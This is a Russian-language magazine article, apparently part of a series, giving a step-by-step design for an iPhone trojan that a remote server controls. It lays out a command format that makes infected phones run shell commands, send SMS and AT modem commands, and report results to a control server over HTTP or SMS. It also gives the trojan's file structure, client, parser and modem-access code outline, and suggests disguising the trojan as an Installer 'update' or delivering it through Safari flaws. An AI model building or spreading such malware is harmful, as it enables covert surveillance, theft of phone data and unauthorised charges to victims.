Конь в яблоках: пишем троян для Apple iPhone
В трех прошлых статьях я описал основные уязвимости Apple iPhone, дал инструкции по созданию автоматического сканера безопасности на базе точки доступа и рассказал о концепции ботнета для телефонов на примере создания сервера управления зараженных iPhone. Пришло время логично завершить этот цикл. В этом номере я подробно опишу создание трояна для Apple iPhone. Он может быть встроен в iPhone-терминатор как "обновление" к Installer или использован отдельно, например, через уязвимости в Safari.
Формат управляющей команды
Первое, с чего надо начать написание трояна – разработка формата команды, которую сервер будет передавать клиентам (зараженным телефонам). Я предлагаю вот такой вид:
1. Команда состоит из шести частей, разделенных символом "%"
- at% AT-команда для модема - sm% команда отправки СМС - sh% команда шелла (например, ls, whoami, ping www.ru) - tg% команда настройки работы самого трояна
3. Третьи и вторая части - аргументы команды из первой части. Например:
- sm%79101010101%TEST is OK%<хвост команды>
4. Четвертая часть - тип отправки результата команды, может принимать значения:
- %ws% отправка http-запросом параметра GET - %sm% отправка "внутри" SMS-сообщения
5. Пятая и шестая части - аргументы для отправки команды, например:
- %79102020202% номер телефона в международном формате - %192.168.1.100%/master-server/res.php?res=%
- sm%79101010101%test is OK%0%0%0% – отправить СМС с текстом: "test is OK" на номер +79101010101 - sh%ping –c10 www.ru%0%ws%192.168.1.100%/master-server/res.php?res=% – выполнить команду шелла "ping www.ru" и выслать результат выполнения на 192.168.1.100 - tg%3600%0%0%0%0% – установить интервал получения команды с сервера равным 3600 секунд
Пару слов о разделителе: я максимально хотел использовать команды шелла, поэтому оставил все спецсимволы на использование в скриптах (чтобы можно было выполнять разные там cat /dev/random > /tmp/fuck-memory-economy или ls / | grep txt и пр.). Таким образом, разделителем стал процент – %. Что касается общей концепции команды, то здесь все тоже очевидно. Первые три параметра – управляющая часть, инструкция типа "что сделать". Вторые три параметра – ответная часть, инструкция типа "куда скинуть результат выполнения". Если с этим все понятно, то нечего тянуть резину, переходим к кодингу.
Архитектура программы
Все функции я разнес по отдельным файлам в зависимости от смысловой нагрузки. Основной файл trojan.c максимально облегчен от ненужного кода. Вот список файлов и их назначений:
trojan.c Основной файл с main() функцией программы Makefile Инструкции утилите make для сборки трояна
./cmd: Разбор строки с командой и заполнение структуры total 8 -rw-r--r-- 1 root wheel 2117 May 14 10:05 cmd-parser.c -rw-r--r-- 1 root wheel 61 May 14 09:51 cmd-parser.h
./http: HTTP клиент. Отправка запросов, возвращение результата total 8 -rw-r--r-- 1 root wheel 1453 May 14 10:03 http-client.c -rw-r--r-- 1 root wheel 46 May 11 15:18 http-client.h
./sms: Работа с AT-командами. Отправка СМС, получение IMEI и CCID total 12 -rw-r--r-- 1 root wheel 4273 May 14 10:46 sms-funcs.c -rw-r--r-- 1 root wheel 124 May 8 17:23 sms-funcs.h
./structs: Описание структуры команды COMMAND total 8 -rw-r--r-- 1 root wheel 265 May 13 00:57 command.c
./utils: Утилиты. Concat для корректного слияния двух строк в одну total 8 -rw-r--r-- 1 root wheel 372 May 12 08:27 utils-concat.c -rw-r--r-- 1 root wheel 49 May 11 15:18 utils-concat.h
Пишем простенький HTTP Client
Забирать команды с сервера наш троян будет по HTTP. Поэтому надо написать простенький клиент на сокетах. Готовые вещи в нашем случае бестолковы, а формат http-запроса, думаю, ты помнишь наизусть. Если не помнишь – ничего страшного, напомню. Использовать мы будем только стандартные библиотеки: netdb.h, sys/types.h, netinet/in.h, sys/socket.h. В общем, получится примерно так:
char* sendHttpRequest(char *host, char *url)
Тут накладываются ограничения в 2 Кб на строку URL и ответ сервера. Если их будет мало для твоих целей – увеличишь без проблем. Только не забудь очищать переменные, все-таки чистый С, никаких тебе сборщиков мусора :).
Парсим команду сервера
После того, как мы получили строку с командой, ее надо разобрать и заполнить соответствующую структуру. Сама структура выглядит так:
struct COMMAND ;
По-хорошему, тип команды и тип ответа надо было выставить в int, но до этого руки у меня не дошли. Как говорится, сначала напиши, потом оптимизируй. Так что, это оставим на домашнее задание. Теперь сам парсинг. Он основывается на базовой функции strtok, которая выполняет за нас разбиение строки на токены по спецсимволу %. Вот исходник:
struct COMMAND parseCmd(char *resp)
Вроде все понятно? Никаких особых приемов здесь не использовано. Только прошу быть аккуратнее с переполнениями буфера. Код трояна по этой части еще придется хорошенько допилить…
Посылаем АТ-команды модему телефона
В мартовском номере я уже приводил исходник программы для отправки СМС. На всякий случай, повторю основные моменты. Мы используем резервное системное устройство /dev/tty.debug, через которое посылаются АТ-команды. Основное устройство /dev/tty заблокировано родными демонами телефона и использовать его не получится. Мы инициализируем соединение на скорости 115200 бод вот так:
int InitConn(int speed)